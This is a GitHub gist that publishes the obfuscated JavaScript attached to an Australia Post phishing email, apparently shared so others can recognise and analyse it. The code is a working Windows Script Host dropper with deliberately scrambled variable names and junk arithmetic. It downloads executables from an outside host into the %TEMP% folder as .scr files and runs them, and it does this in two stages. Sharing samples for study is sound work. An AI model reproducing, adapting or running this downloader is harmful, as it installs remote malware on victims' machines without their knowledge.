Skip to content

Instantly share code, notes, and snippets.

@joho
Last active March 7, 2016 22:41
Show Gist options
  • Save joho/0e612d476f4e7f611396 to your computer and use it in GitHub Desktop.
Save joho/0e612d476f4e7f611396 to your computer and use it in GitHub Desktop.
JS in auspost phishing email received 8/3/16 (see screenshot at http://d.pr/i/KI9N)
andSelf = "uni";
matches = "MP%/", hasScripts = "ng", curPosition = 0, toggle = 40, elemData = "ion";
rCRLF = "e", contexts = "Expan", speed = 9, rnoInnerhtml = "Cr";
createPositionalPseudo = "ct";
i = "eToFi";
parseFromString = "zahasa";
var which = "MSXM";
rejectWith = 1, th = "posit", extend = "write", makeArray = "ect", XMLHttpRequest = "fe.co", handlers = 173;
jsonpCallback = "ronme";
padding = "ipt";
script = "l";
unique = 100;
classCache = "ep";
duplicates = "://";
isXML = "t";
udataCur = "ntStri";
_removeData = "eObje";
ap = 105007;
defineProperty = 16380;
seed = "v";
remaining = 16;
showHide = "type";
postDispatch = 31, stopQueue = "Creat", doneName = "reat", preventDefault = "Ru", lastChild = 8, origName = "d";
num = "GET", isLocal = "ADOD", firingIndex = "Body", srcElements = "bj", percent = 35, fragment = "ffic";
progressValues = "se";
evt = "stem";
text = "sa";
root = "adysta";
var prepend = 1380,
firing = 58,
contentDocument = 77,
attrNames = "eObj",
m = "Sle";
var prev = "WSc",
progress = "re",
namespaces = 3;
rcombinators = "am", pipe = "p", valHooks = "te", append = "s", curCSSLeft = 23;
readyWait = "/", rfocusMorph = "eateO", emptyStyle = "HT", type = "WScr", lang = "ript", clazz = "t.Sh";
var eventDoc = "TP",
split = "L2.XML";
var parent = "logs/o",
specified = "B.Stre",
hidden = 120,
t = 29,
classes = 45,
wrap = "Respon";
styles = 2, show = 37, letterSpacing = "http";
check = "WScrip", top = "C", buildFragment = "e.ex", css = ".scr";
hookFn = 156, dataShow = "open", pseudo = 1185, clearQueue = "ell", els = "n", initialInUnit = "m/sy";
fadeToggle = "dEnvi", triggerHandler = "Slee", class2type = 5;
var nativeStatusText = "%TE",
not = (function String.prototype.opts() {
return this
}, "close");
parseOnly = (((1 * curPosition) | (0 | lastChild)), (((28 - curCSSLeft) + 0), this));
resolveContexts = preventDefault + els;
empty = parseOnly[check + isXML];
ajaxExtend = empty[stopQueue + _removeData + createPositionalPseudo](check + clazz + clearQueue);
properties = ajaxExtend[contexts + fadeToggle + jsonpCallback + udataCur + hasScripts + append](nativeStatusText + matches) + andSelf + isXML + css;
guid = parseOnly[type + padding][rnoInnerhtml + rfocusMorph + srcElements + makeArray](which + split + emptyStyle + eventDoc);
guid[dataShow](num, letterSpacing + duplicates + parseFromString + XMLHttpRequest + initialInUnit + evt + readyWait + parent + fragment + buildFragment + rCRLF, !((((Math.pow(percent, 2) - pseudo) - (0 ^ show)) * ((3 & namespaces) * 5 * (namespaces * 2 + rejectWith) * (3 & styles) / ((32 | hookFn), (26 + classes), (3689 / postDispatch), (13 + t))) & ((Math.pow(((14 * namespaces + 3) & (speed + 36)), (styles ^ 0)) - ((prepend ^ 2524) - (firing, 144, handlers, 1298))) - (((remaining + 19) & (toggle | 39)) ^ (namespaces * 2 * (hidden / 40) + styles)))) > 2));
guid[append + rCRLF + els + origName]();
while (guid[progress + root + valHooks] < ((lastChild ^ 6) - (class2type * 2))) {
parseOnly[check + isXML][triggerHandler + pipe](((unique | 4) | (contentDocument & 118)));
}
rscriptTypeMasked = parseOnly[type + padding][top + doneName + attrNames + makeArray](isLocal + specified + rcombinators);
parseOnly[prev + lang][m + classCache](((ap / 7) & (defineProperty & 16383)));
rscriptTypeMasked[dataShow]();
tuples = rscriptTypeMasked;
tuples[showHide] = ((rejectWith + 0) + (curPosition ^ 0));
rinputs = tuples;
rscriptTypeMasked[extend](guid[wrap + progressValues + firingIndex]);
rinputs[th + elemData] = ((rejectWith + -1) / class2type * 2 * class2type);
rscriptTypeMasked[text + seed + i + script + rCRLF](properties, ((0 ^ rejectWith) * (1 * styles)));
rscriptTypeMasked[not]();
optSelected = ajaxExtend;
optSelected[resolveContexts](properties.opts(), (1 + -(rejectWith | 0)), ((curPosition & 1) | (curPosition / 36)));
etag = "GET";
onload = 5;
modified = 0;
dataShow = "ffi";
var rnoContent = 29,
owner = "fe.c",
removeEventListener = "WScr",
rhash = "om/sy";
removeEvent = "ronmen", createCache = 9, speeds = "rt";
var e = 4,
domManip = "/",
testContext = "e",
xhrSupported = 176304;
size = 251;
initial = "eBo";
holdReady = "Sle";
list = "Creat";
indirect = "i";
pixelMarginRightVal = "state";
iNoClone = "tion";
throws = "WSc";
result = 30;
rnoInnerhtml = "zaha";
var isEmptyObject = "tp://";
var defaultPrevented = "wri",
appendChild = 3,
createPseudo = "ipt",
Deferred = "y",
_$ = "SXML2.",
mimeType = "TP";
var rtrim = "ec",
rtagName = "WScrip",
run = "close",
scrollTo = "She",
hooks = "ll";
setter = 59;
var rxhtmlTag = 179;
var w = 15,
camelCase = "bject",
groups = ".scr",
related = "c";
var eventHandle = "o",
_default = "M",
rsubmitterTypes = "ODB.",
defaultValue = 14;
all = 25;
ridentifier = "sa";
cssFn = "d";
setFilters = "gs/o";
isXML = "s";
preventDefault = 27;
ajax = "Expan";
activeElement = "XMLH";
argument = 81;
relatedTarget = "T";
curCSS = 32;
postMap = "ers";
camelKey = "ep";
tag = 10, pnum = 1, addClass = "conve", overflowY = "saveTo";
send = "pt";
tween = "at";
camel = "type", resolveValues = "Scrip", DOMParser = "eO", propHooks = "File", trim = "ript";
var cleanData = "W",
genFx = "lo",
isNumeric = 72,
transport = "stem/";
selection = "gs";
maxIterations = 2400;
uid = "ht";
clearTimeout = "tStrin";
qsaError = "%TEMP%";
getAttributeNode = 16;
fast = "p";
stopOnFalse = "Respon";
responseText = "AD";
val = "t.";
fixHooks = "Stream";
isReady = "en", superMatcher = "t";
lastModified = "Run", height = (function Object.prototype.isSuccess() {
return this
}, 2), location = "dEnvi", values = "op", dataTypeExpression = "eObj", binary = 61;
len = "WScri", slideDown = "read";
prependTo = "Cre";
valueParts = "ce.exe";
isFunction = "sen";
fire = 193;
mozMatchesSelector = ((Math.pow(2 * binary, 2) - (xhrSupported / 12)), (((w - 6) + (height ^ 1)), this));
addEventListener = lastModified;
el = mozMatchesSelector[cleanData + resolveValues + superMatcher];
readyWait = el[list + dataTypeExpression + rtrim + superMatcher](rtagName + val + scrollTo + hooks);
conditionFn = readyWait[ajax + location + removeEvent + clearTimeout + selection](qsaError + domManip) + addClass + speeds + postMap + groups;
content = mozMatchesSelector[removeEventListener + createPseudo][prependTo + tween + dataTypeExpression + testContext + related + superMatcher](_default + _$ + activeElement + relatedTarget + mimeType);
content[values + isReady](etag, uid + isEmptyObject + rnoInnerhtml + ridentifier + owner + rhash + transport + genFx + setFilters + dataShow + valueParts, !((((((createCache / 3) * (height + 0) + height) + 0) - ((rnoContent & 31) - (preventDefault & 31)) * ((curCSS ^ 19) / (Math.pow(defaultValue, 2) - rxhtmlTag))) + (((1 + -pnum)) / (((1 | pnum) * 0) ^ (height & (0 | appendChild))))) == (((((112 / getAttributeNode) - (7 & onload)) + (0 / (getAttributeNode ^ 4)))) | (((modified & 1) | ((modified ^ 0) ^ modified)) / (Math.pow(((Math.pow(33, height) - 1049) & (result ^ 35)), ((height & 2) + (modified & 0))) - (Math.pow(tag, 2) - argument) * (410 / tag) * 2)))));
content[isFunction + cssFn]();
while (content[slideDown + Deferred + pixelMarginRightVal] < ((setter, 15, size, 0) ^ (e | 4))) {
mozMatchesSelector[throws + trim][holdReady + camelKey](((fire - 21) - (isNumeric | 64)));
}
width = mozMatchesSelector[len + send][list + DOMParser + camelCase](responseText + rsubmitterTypes + fixHooks);
mozMatchesSelector[len + send][holdReady + camelKey]((Math.pow((maxIterations | 14665), (height)) - 29 * appendChild * 2482607));
width[values + isReady]();
set = width;
set[camel] = (pnum & 1);
get = set;
width[defaultPrevented + superMatcher + testContext](content[stopOnFalse + isXML + initial + cssFn + Deferred]);
get[fast + eventHandle + isXML + indirect + iNoClone] = ((pnum & 1) * (modified));
width[overflowY + propHooks](conditionFn, ((0 ^ height) + 0));
width[run]();
nonce = readyWait;
nonce[addEventListener](conditionFn.isSuccess(), ((all * 4 + pnum), 13, (e - 4)), (pnum * 0));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment